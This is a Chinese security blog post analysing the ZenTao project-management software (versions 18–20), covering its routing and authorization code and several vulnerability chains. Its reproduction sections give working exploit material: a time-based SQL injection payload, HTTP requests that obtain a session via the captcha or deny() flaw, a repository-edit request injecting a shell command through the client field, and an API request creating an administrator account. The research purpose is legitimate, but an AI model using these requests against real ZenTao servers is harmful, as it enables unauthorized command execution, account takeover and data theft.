禅道18.x-20.x版本漏洞挖掘思路分析
0aspir1ng0 发表于 黑龙江 技术文章 1435浏览 · 2024-12-03 03:29

1. 框架分析

以下所有分析主要基于禅道开源版分析。

1.1. 路由分析

禅道入口文件有api.php(接口)、index.php、x.php。三者路由文件主要思路大差不差,都会引用以下四个基本文件:

include '../framework/router.class.php';//路由文件
include '../framework/control.class.php';//控制器文件
include '../framework/model.class.php';//模型文件
include '../framework/helper.class.php';//助手函数

通过router::createApp进行程序应用创建:

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

//baseRouter::createApp()方法
public static function createApp(string $appName = 'demo', string $appRoot = '', string $className = '', string $mode = 'running')
    {
        if(empty($className)) $className = self::class;
        return new $className($appName, $appRoot, $mode);
    }

//根据上述方法得知:
//index.php设置router,会触发router实例化pms程序;
//api接口设置api,会触发api类实例化pms程序;
//x.php设置xuanxuan或置空,会触发xuanxuan实例化或router实例化xxb程序。

index.php入口文件会进行router实例化触发__construct,实现多项程序配置。

public function __construct(string $appName = 'demo', string $appRoot = '', string $mode = 'running')
    {
        if($mode != 'running') $this->{$mode} = true;

        $this->setPathFix();
        $this->setBasePath();
        $this->setFrameRoot();
        $this->setCoreLibRoot();
        $this->setAppRoot($appName, $appRoot);
        $this->setTmpRoot();
        $this->setCacheRoot();
        $this->setLogRoot();
        $this->setConfigRoot();
        $this->setModuleRoot();
        $this->setWwwRoot();
        $this->setThemeRoot();
        $this->setDataRoot();
        $this->loadMainConfig();

        $this->loadClass('front',  $static = true);
        $this->loadClass('filter', $static = true);
        $this->loadClass('form',   $static = true);
        $this->loadClass('dbh',    $static = true);
        $this->loadClass('sqlite', $static = true);
        $this->loadClass('dao',    $static = true);
        $this->loadClass('mobile', $static = true);

        $this->setCookieSecure();
        $this->setDebug();
        $this->setErrorHandler();
        $this->setTimezone();

        if($this->config->framework->autoConnectDB) $this->connectDB();

        $this->setupProfiling();
        $this->setupXhprof();

        $this->setEdition();

        $this->setClient();

        $this->loadCacheConfig();
    }

其中$this->loadMainConfig()加载config目录下默认的config.php文件。默认配置加载完成后,启程继续加载一些个性化设置:

$app->setStartTime($startTime);
$common = $app->loadCommon(); //baseRouter::loadCommon()

跟进baseRouter::loadCommon()发现调用$common->setUserConfig()进行用户配置设定。其方法又分别从数据库zt_config和zt_lang(数据库前缀为zt)加载配置信息。

public function setUserConfig()
    {
        $this->sendHeader();
        $this->setCompany();
        $this->setUser();
        $this->setApproval();
        $this->loadConfigFromDB();
        $this->loadCustomFromDB();
        $this->initAuthorize();

        if(!$this->checkIP()) return print($this->lang->ipLimited);
    }

其中loadConfigFromDB通过baseRouter::mergeConfig覆盖$this->config.

public function loadConfigFromDB()
    {
        /* Get configs of system and current user. */
        $account = isset($this->app->user->account) ? $this->app->user->account : '';
        if($this->config->db->name) $config = $this->loadModel('setting')->getSysAndPersonalConfig($account);
        $this->config->system   = isset($config['system']) ? $config['system'] : array();
        $this->config->personal = isset($config[$account]) ? $config[$account] : array();

        $this->commonTao->updateDBWebRoot($this->config->system);

        /* Override the items defined in config/config.php and config/my.php. */
        if(isset($this->config->system->common))   $this->app->mergeConfig($this->config->system->common, 'common');
        if(isset($this->config->personal->common)) $this->app->mergeConfig($this->config->personal->common, 'common');

        $this->config->disabledFeatures = $this->config->disabledFeatures . ',' . $this->config->closedFeatures;
    }

loadCustomFromDB则将zt_lang配置赋值给$this->lang->db->custom.

加载完配置信息后程序全部回到入口文件中,以index.php为例,在后面有分别对参数、权限、模块加载进行处理:

try
{
    $app->parseRequest();//baseRouter::parseRequest() 根据请求的类型(PATH_INFO/GET),调用解析url
    if(!$app->setParams()) helper::end();//baseRouter::setParams()参数设置
    $common->checkPriv();//权限检测
    if(!$common->checkIframe()) helper::end();

    if(session_id() != $app->sessionID && strpos($_SERVER['HTTP_USER_AGENT'], 'xuanxuan') === false) helper::restartSession($app->sessionID);

    $app->loadModule();//模块加载
}

$app->parseRequest()实际上是baseRouter::parseRequest()根据请求的类型(PATH_INFO/GET)调用解析url的。不论请求是哪种类型都会最后都会经过router::setControlFile()处理。

开源版默认$this->config->edition为open(config/config.php查看),所以默认会调用父类baseRouter::setControlFile:

public function setControlFile(bool $exitIfNone = true)
    {
        $this->controlFile = $this->getModulePath() . 'control.php';
        if(file_exists($this->controlFile)) return true;
        $this->triggerError("the control file $this->controlFile not found.", __FILE__, __LINE__, $exitIfNone);
    }

进入baseRouter::setParams()进行参数设置,通过baseRouter::getDefaultParams()获取参数,然后根据路由类型设置参数(setParamsByPathInfo设置伪静态路由的参数)。

public function setParams()
    {
        try
        {
            $defaultParams = $this->getDefaultParams();
            if($this->config->requestType != 'GET')
            {
                $this->setParamsByPathInfo($defaultParams);
            }
          ......

baseRouter::getDefaultParams()引入模块control文件,先判断是否是插件extension中的文件:

跟进setActionFile()可得插件路由/zentao/插件目录名/模块名/方法名/....。引入后判断是否加密,根据代码注释加密方式是ioncube。

之后实例化该control类,最后通过反射机制获取函数参数默认值。

1.2. 鉴权分析

上述路由基本分析差不多后,在设置完参数之后就进行了鉴权分析。通过commonModel::checkPriv进行鉴权。在该方法中能看到$openMethods数组存储的是允许未授权访问的方法,除此之外还能在isOpenMethod方法中判定是否可以未授权访问。除了这两处,其他的都要通过鉴权。鉴权可以是判断用户登录没有(userModel::isLogon方法,登陆方法在user::login()->userZen::login方法->userModel::identify验证方法),如果没有登录还可以通过cookie(identifyByCookie)或者php server用户认证(identifyByPhpAuth)。

不论是哪种方式本质都是通过userModel::identifyUser验证用户和密码,默认通过比对32位md5值校验。

梳理未授权方法的路由可以通过isOpenMthod、$this->config->openMethods、$openMethods。isOpenMthod方法列举了index、my、product、misc和tutorial部分哪些方法可以未授权访问。

public function isOpenMethod(string $module, string $method): bool
    {
        if(in_array("$module.$method", $this->config->openMethods)) return true;

        if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true;

        if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest'))
        {
            if(stripos($method, 'ajax') !== false) return true;
            if($module == 'block' && stripos(',dashboard,printblock,create,edit,delete,close,reset,layout,', ",{$method},") !== false) return true;
            if($module == 'index'    and $method == 'app') return true;
            if($module == 'my'       and $method == 'guidechangetheme') return true;
            if($module == 'product'  and $method == 'showerrornone') return true;
            if($module == 'misc'     and in_array($method, array('downloadclient', 'changelog'))) return true;
            if($module == 'tutorial' and in_array($method, array('start', 'index', 'quit', 'wizard'))) return true;
        }
        return false;
    }

$this->config->openMethods则可以大部分能在config/zentaopms.php查看,少部分在代码中有增加定义,常见搜索关键词config->openMethods[]能找到。

2. 近两年RCE漏洞分析

2.1 baseRouter::setVersion SQL注入

baseRouter::setVision()方法没有对$account过滤直接拼接到sql语句并执行,存在SQL注入。

根据上文路由分析可知该函数在index.php初始路由的时候就有调用setVision,因此触发只用在请求中get或post添加上account参数,并直接写入payload即可(比如如下延时注入payload):

/?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b

2.2 captcha session+repoModel命令注入

2.2.1 captcha获取session

checkPriv方法是鉴权的方法,其中会检查当前用户是否登陆(userModel::isLogon()方法),该方法内部判断当前$this->session->user是否存在。

public function isLogon()
    {
        $user = $this->session->user;
        return ($user && !empty($user->account) && $user->account != 'guest');
    }

查找可以设置session[user]或者任意session的地方。发现module/misc/control.php中captcha方法能设置任意key的session:

2.2.2 后台repoModel命令注入

在后台发现有一处命令注入的地方,module/repo/model.php的checkConnection函数会进行SCM=Subversion判断,$client是导致命令注入的参数点,之后进行exec命令执行:

调用该函数的有create和update方法,两个方法之间都需要经过checkClient方法,其值返回为真才能进行后续操作。checkClient方法SCM设置为Gitlab可以固定返回为true。

checkConnection分支只对Subversion、Gitea和Gogs以及Git做处理,其他的不做处理直接返回true。

update方法调用的checkConnection也需要经过checkClient判断,要绕过这个判断进行exec命令注入的话,不能继续用SCM(大小写敏感,在http包的时候)设置为Gitlab这个选项,因此回到checkClient查看代码。

public function update($id)
    {
        $repo = $this->getRepoByID($id);

        $isPipelineServer = in_array(strtolower($this->post->SCM), $this->config->repo->gitServiceList) ? true : false;

        $data = fixer::input('post')
            ->setIf($isPipelineServer, 'password', $this->post->serviceToken)
            ->setIf($this->post->SCM == 'Gitlab', 'path', '')
            ->setIf($this->post->SCM == 'Gitlab', 'client', '')
            ->setIf($this->post->SCM == 'Gitlab', 'extra', $this->post->serviceProject)
            ->setDefault('prefix', $repo->prefix)
            ->setIf($this->post->SCM == 'Gitlab', 'prefix', '')
            ->setDefault('client', 'svn')
            ->setDefault('product', '')
            ->skipSpecial('path,client,account,password')
            ->join('product', ',')
            ->get();

        if($data->path != $repo->path) $data->synced = 0;

        $data->acl = empty($data->acl) ? '' : json_encode($data->acl);

        if($data->SCM == 'Subversion' and $data->path != $repo->path)
        {
            $scm = $this->app->loadClass('scm');
            $scm->setEngine($data);
            $info     = $scm->info('');
            $infoRoot = urldecode($info->root);
            $data->prefix = empty($infoRoot) ? '' : trim(str_ireplace($infoRoot, '', str_replace('\\', '/', $data->path)), '/');
            if($data->prefix) $data->prefix = '/' . $data->prefix;
        }
        elseif($data->SCM != $repo->SCM and $data->SCM == 'Git')
        {
            $data->prefix = '';
        }

        if($data->client != $repo->client and !$this->checkClient()) return false;
        if(!$this->checkConnection()) return false;

        if($data->encrypt == 'base64') $data->password = base64_encode($data->password);
        $this->dao->update(TABLE_REPO)->data($data, $skip = 'serviceToken')
            ->batchCheck($this->config->repo->edit->requiredFields, 'notempty')
            ->batchCheckIF($data->SCM != 'Gitlab', 'path,client', 'notempty')
            ->batchCheckIF($isPipelineServer, 'serviceHost,serviceProject', 'notempty')
            ->batchCheckIF($data->SCM == 'Subversion', $this->config->repo->svn->requiredFields, 'notempty')
            ->check('name', 'unique', "`SCM` = '{$data->SCM}' and `id` <> $id")
            ->checkIF($isPipelineServer, 'serviceProject', 'unique', "`SCM` = '{$data->SCM}' and `serviceHost` = '{$data->serviceHost}' and `id` <> $id")
            ->checkIF(!$isPipelineServer, 'path', 'unique', "`SCM` = '{$data->SCM}' and `serviceHost` = '{$data->serviceHost}' and `id` <> $id")
            ->autoCheck()
            ->where('id')->eq($id)->exec();

        $this->rmClientVersionFile();

        if($data->SCM == 'Gitlab') $data->path = $this->getRepoByID($id)->path;

        if($repo->path != $data->path)
        {
            $this->dao->delete()->from(TABLE_REPOHISTORY)->where('repo')->eq($id)->exec();
            $this->dao->delete()->from(TABLE_REPOFILES)->where('repo')->eq($id)->exec();
            return false;
        }

        return true;
    }

update方法在SCM设置为Gitab,会进行rmClientVersionFile方法。这个方法的内容在checkClient也存在。

该方法主要是用于移除client version file,在checkClient里面也有相同代码。而payload中创建好了仓库编辑仓库内容触发module/repo/control.php的edit方法,实际调用了module/repo/model.php的update方法。因此,先通过create创建好仓库绕过checkClient,然后通过edit修改scm触发checkConnection直接执行命令。

2.2.3 漏洞复现

  • 通过访问验证码获取session

    访问/zentao/misc-captcha-user.html在f12控制台-应用选项卡可以获取到zentaosid(cookie):

  • 创建仓库

从前台获取到zentaosid之后发送以下数据包,修改cookie,先创建一个仓库(如果直接从代码中edit进行触发,能够看到会检测仓库不存在的话会302跳转别的页面)。

POST /zentao/repo-create.html HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/zentao/user-login-L3plbnRhby8=.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=d53959592d07ca9e6e0bf25ef479a0c2; lang=zh-cn; device=desktop; theme=default
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 111

product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=

创建仓库的时候SCM一定要设置为Gitlab,从而绕过第一次的checkClient。

  • 编辑修改仓库触发执行命令

上一部创建成功后找到仓库编号,修改repo-edit之后的仓库编号等数据。发送以下http包,执行命令。

POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=d53959592d07ca9e6e0bf25ef479a0c2; lang=zh-cn; device=desktop; theme=default
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://x.x.x.x/repo-edit-1-0.html
Content-Length: 30

SCM=Subversion&client=`id`

SCM=Subversion必须设置为这个,才能进入执行命令的分支,攻击成功响应200回显命令结果。

2.3 captcha session+convert-importNotice SQL注入+定时任务RCE

除了命令注入,想要达到RCE也可以通过SQL注入。禅道因为使用pdo方式执行mysql语句,允许多条语句执行,并且虽然有链式操作进行增删改查等,但仍然存在直接拼接参数到sql语句中然后直接执行的地方,所以获取权限后也可以通过sql注入RCE。通过搜索php拼接的方式可以找到很多直接拼接的sql语句,其中convertModel::dbExists()方法$dbName直接拼接的。

public function dbExists($dbName = '')
    {
        $sql = "SHOW DATABASES like '{$dbName}'";
        return $this->dbh->query($sql)->fetch();
    }

回溯dbExists方法被调用的地方,在convert::importNotice()调用且没有对外部数据进行过滤:

如果只是单纯的注入获取敏感信息就到此为止了,但是因为允许多条语句执行,可以通过堆叠注入。cron::ajaxExec()方法是执行后台设置定时任务的方法:

在创建计划任务时会对进行检测如果为system则不能进入分支,所以可以先创建任意命令的定时任务,然后通过该漏洞进行堆叠注入修改。

详细的复现过程可以参考:https://blog.evi1s.com/2023/01/13/Zentao-RCE/#Cron-to-RCE

2.4 custom::ajaxSaveCustomFields+apiGetModel+repoModel::checkConnection命令注入

分析第二个漏洞得知仓库checkConnection存在exec函数,调用该函数需要经过仓库create或update,目的为了绕过checkClient函数。分析完第二个漏洞之后,我想到禅道存在一个功能是超级Model功能,该功能旨在允许调用任意api接口,方便配置第三方服务。低版本中(比如11.6)存在不少漏洞因为未授权就可以滥用它导致sql注入、命令执行、任意文件读取等漏洞,后续再高版本中默认关闭了该功能。要开启该功能,需要到config/config.php修改$config->features->apiGetModel配置,设置为true。

custom::ajaxSaveCustomFields是设置custom fields配置的方法,该方法在禅道18.5版本以下没有对$module、$section、$key、$fields任何外部变量过滤,就直接调用$this->loadModel('setting')->setItem(...)进行配置设置。

public function ajaxSaveCustomFields($module, $section, $key)
    {
        $account = $this->app->user->account;
        if($this->server->request_method == 'POST')
        {
            $fields = $this->post->fields;
            if(is_array($fields)) $fields = join(',', $fields);
            $this->loadModel('setting')->setItem("$account.$module.$section.$key", $fields);
            if(in_array($module, array('task', 'testcase', 'story')) and $section == 'custom' and in_array($key, array('createFields', 'batchCreateFields'))) return;
            if($module == 'bug' and $section == 'custom' and $key == 'batchCreateFields') return;
        }
        else
        {
            $this->loadModel('setting')->deleteItems("owner=$account&module=$module&section=$section&key=$key");
        }

        return print(js::reload('parent'));
    }

loadModel是禅道加载各类模块下model文件的函数,这里通过它加载并调用了settingModel::setItem()方法,该方法本质就是修改zt_config数据表的配置。

public function setItem($path, $value = '')
    {
        $item = $this->parseItemPath($path);
        if(empty($item)) return false;

        $item->value = $value;
        $this->dao->replace(TABLE_CONFIG)->data($item)->exec();
    }

zt_config又根据之前分析路由可以得知程序会从读取zt_config表进行覆盖程序$this->config。通过这个方法可以直接修改$config->features->apiGetModel配置,开启apiGetModel。apiGetModel就是api::getModel(),内部通过call_user_func_array实现任意代码执行。

public function getModel($moduleName, $methodName, $params = '')
    {
        if(!$this->config->features->apiGetModel) return printf($this->lang->api->error->disabled, '$config->features->apiGetModel');

        $params    = explode(',', $params);
        $newParams = array_shift($params);
        foreach($params as $param)
        {
            $sign       = strpos($param, '=') !== false ? '&' : ',';
            $newParams .= $sign . $param;
        }

        parse_str($newParams, $params);
        $module = $this->loadModel($moduleName);
        $result = call_user_func_array(array(&$module, $methodName), $params);
        if(dao::isError()) return print(json_encode(dao::getError()));
        $output['status'] = $result ? 'success' : 'fail';
        $output['data']   = json_encode($result);
        $output['md5']    = md5($output['data']);
        $this->output     = json_encode($output);
        print($this->output);
    }

https://mp.weixin.qq.com/s/o6FDDESJdluob9m6E8dqOQ

这篇文章讲到了上述漏洞链条,文章中说该漏洞鸡肋需要修改配置。但是我们在分析路由白名单判定的isOpenMethod可以看到:

除了用户登录之外,如果当前设置了$this->app->company->guest,并且当前为guest用户,ajax开头的任何方法都可以进行访问。$this->app->company->guest是禅道允许可以配置的匿名用户功能。因为禅道是项目管理软件,这种功能主要是想让子公司或者外包能够不登陆就能看到某些页面或者工作需求等,这种情况(并且情况也不少这种)能够实现未授权RCE。

2.5 testcase::saveXmindImport auth bypass

2.5.1 deny获取session

captcha验证码突破权限的思路就是找到$this->session->set地方,除了在这个地方,还在deny方法里面也找到了,从而能设置到session绕过身份认证。

commonModel::deny()方法里面$reload默认为true,因此默认进入到该if分支。$this->app->user未授权的情况下为空或者guest,后续就是根据该值进行authorize和getGroups获取相应权限之后,就直接通过$this->session->set('user', $user)设置session了。没有对未授权或者guest情况下进行过滤。

public function deny(string $module, string $method, bool $reload = true)
    {
        if($reload)
        {
            /* Get authorize again. */
            $user = $this->app->user;
            $user->rights = $this->user->authorize($user->account);
            $user->groups = $this->user->getGroups($user->account);
            $user->admin  = strpos($this->app->company->admins, ",{$user->account},") !== false;
            $this->session->set('user', $user);
            $this->app->user = $this->session->user;
            if(commonModel::hasPriv($module, $method)) return true;
        }

testcase::saveXmindImport一开始判断当前用户没有访问该方法的权限就立刻调用了commonModel::deny方法。

public function saveXmindImport()
    {
        if(!commonModel::hasPriv('testcase', 'importXmind')) $this->loadModel('common')->deny('testcase', 'importXmind');
......

同样情况下testcase::getXmindImport、testcase::showXmindImport也如上进行了调用。

在路由分析中isOpenMethod方法中白名单不需要鉴权,查找全局白名单config/zentaopms.php可以看到这三个方法:

不管是api接口还是index.php入口访问,完成一系列路由解析、鉴权和参数设置后通过$app->loadModule进行类和方法调用。

baseRouter::loadModule()通过call_user_func_array调用任意路由的类和方法:

public function loadModule()
    {
        if(is_null($this->params) and !$this->setParams())
        {
            $this->outputXhprof();
            return false;
        }

        /* 调用该方法   Call the method. */
        $module = $this->control;
        $method = $this->methodName ? $this->methodName : $this->config->default->method;

        call_user_func_array(array($module, $method), $this->params);
        $this->checkAPIFile();
        $this->outputXhprof();

        return $module;
    }

testcase::saveXmindImport被调用后,首先实例化testcase(以18.0.-beta为例)。实例完父类__construct和加载完一些Model,如果为了顺利进行后续方法调用,在if(!isonlybody())分支处有根据不同$this->app->tab值进行处理。

public function __construct($moduleName = '', $methodName = '')
    {
        parent::__construct($moduleName, $methodName);
        $this->loadModel('product');
        $this->loadModel('tree');
        $this->loadModel('user');
        $this->loadModel('qa');

        /* Get product data. */
        $products = array();
        $objectID = 0;
        $tab      = ($this->app->tab == 'project' or $this->app->tab == 'execution') ? $this->app->tab : 'qa';
        if(!isonlybody())
        {
            if($this->app->tab == 'project')
            {
                $objectID = $this->session->project;
                $products = $this->product->getProducts($objectID, 'all', '', false);
            }
            elseif($this->app->tab == 'execution')
            {
                $objectID = $this->session->execution;
                $products = $this->product->getProducts($objectID, 'all', '', false);
            }
            else
            {
                $mode     = ($this->app->methodName == 'create' and empty($this->config->CRProduct)) ? 'noclosed' : '';
                $products = $this->product->getPairs($mode, 0, '', 'all');
            }
            if(empty($products) and !helper::isAjaxRequest()) return print($this->locate($this->createLink('product', 'showErrorNone', "moduleName=$tab&activeMenu=testcase&objectID=$objectID")));
        }
        else
        {
            $products = $this->product->getPairs('', 0, '', 'all');
        }
        $this->view->products = $this->products = $products;
    }

如果进入if分支内,$products一般未授权情况下无法得知,如果能绕过if(empty($products) and !helper::isAjaxRequest())就能保证请求正常运行。跟进api接口helper::isAjaxRequest()方法(index.php入口的该方法内容差不多)发现只需要在get请求头设置HTTP_X_REQUESTED_WITH=XMLHttpRequest即可。

public static function isAjaxRequest()
    {
        if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') return true;
        if(isset($_GET['HTTP_X_REQUESTED_WITH'])    && $_GET['HTTP_X_REQUESTED_WITH']    == 'XMLHttpRequest') return true;
        return false;
    }

如果不进入if分支,则需要绕过isonlybody()[framework/api/helper.class.php],跟进发现get请求头设置onlybody=yes即可。

//framework/api/helper.class.php和framework/helper.class.php内容一样
function isonlybody()
{
    return helper::inOnlyBodyMode();
}
public static function inOnlyBodyMode()
    {
        return (isset($_GET['onlybody']) and $_GET['onlybody'] == 'yes');
    }

2.5.2 api接口创建用户

usersEnty::post()登陆后能创建用户,没有鉴权当前是否有权限能够创建用户。其中requireFields('account,password1,realname')规定创建时候必填字段。password1会根据password进行setPost设置。

public function post()
    {
        $fields = 'type,dept,account,password,visions,realname,join,role,email,commiter,gender,group,passwordStrength';
        $this->batchSetPost($fields);

        if(!in_array($this->request('gendar', zget($_POST, 'gendar', 'f')), array('f', 'm'))) return $this->sendError(400, "The value of gendar must be 'f' or 'm'");

        $password = $this->request('password', zget($_POST, 'password', '')) ? md5($this->request('password', zget($_POST, 'password', ''))) : '';

        $visions = $this->request('visions', array('rnd'));
        if(!is_array($visions)) $visions = explode(',', $visions);

        if($this->request('group')) $this->setPost('group', explode(',', $this->request('group')));
        $this->setPost('password1', $password);
        $this->setPost('password2', $password);
        $this->setPost('passwordStrength', 3);
        $this->setPost('visions', $visions);
        $this->setPost('verifyPassword', md5($this->app->user->password . $this->app->session->rand));
        unset($_POST['password']);

        $control = $this->loadController('user', 'create');
        $this->requireFields('account,password1,realname');

        $control->create();

        $data = $this->getData();
        if(isset($data->status) and $data->status == 'fail') return $this->sendError(zget($data, 'code', 400), $data->message);
        if(isset($data->result) and !isset($data->id)) return $this->sendError(400, $data->message);

        $user = $this->loadModel('user')->getByID($data->id, 'id');
        unset($user->password);

        return $this->send(201, $this->format($user, 'last:time,locked:time'));
    }

group和role是涉及到新创建用户的权限和权限组,要创建管理员权限,group必须设置为1,role设置为top,然后通过user::create方法创建。在该方法中可以看到从zt_group可以看到用户权限分配的情况,从而知道如何设置group和role。

usersEnty::post()路径为api/v1/entries/users.php,不在寻常module模块中,需要api.php访问。$app->parseRequest则通过api::parseRequest处理。

public function parseRequest()
    {
        /* If version of api don't exists, call parent method. */
        if(!$this->version) return parent::parseRequest();

        $this->route($this->config->routes);
    }

$this->version在api实例化得知为api目录下子目录名字,如这里usersEnty在的api 目录子目录名v1。

其中route($this->config->routes)处理固定规则的路由。route方法action为调用方法名,通过请求方式决定。post请求则方法名为post。

/* Set module and action */
$this->entry  = $target;
$this->action = strtolower($_SERVER['REQUEST_METHOD']);

$this->config->routes设定的路由规则,设定usersEntity为‘/users‘::

2.5.3 漏洞复现

  • 设置session

get访问构造的ajax请求头:

/zentao/(api.php或index.php)?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpReques

get访问构造的onlybody请求头

/zentao/(api.php或index.php)?m=testcase&f=savexmindimport&onlybody=yes

/zentao/(api.php或index.php)/testcase-savexmindimport?onlybody=yes

攻击成功,响应包返回zentaosid。

  • 创建用户
POST /zentao/api.php/v1/users HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/zentao/user-login-L3plbnRhby8=.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=需要替换; lang=zh-cn; device=desktop; theme=default
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 111

{
    "account": "hello123",
    "password": "123abc456.!@#",
    "realneame": "hello123",
    "role": "top",
    "group": "1"
}

攻击成功响应403。

0 条评论
某人
表情
可输入 255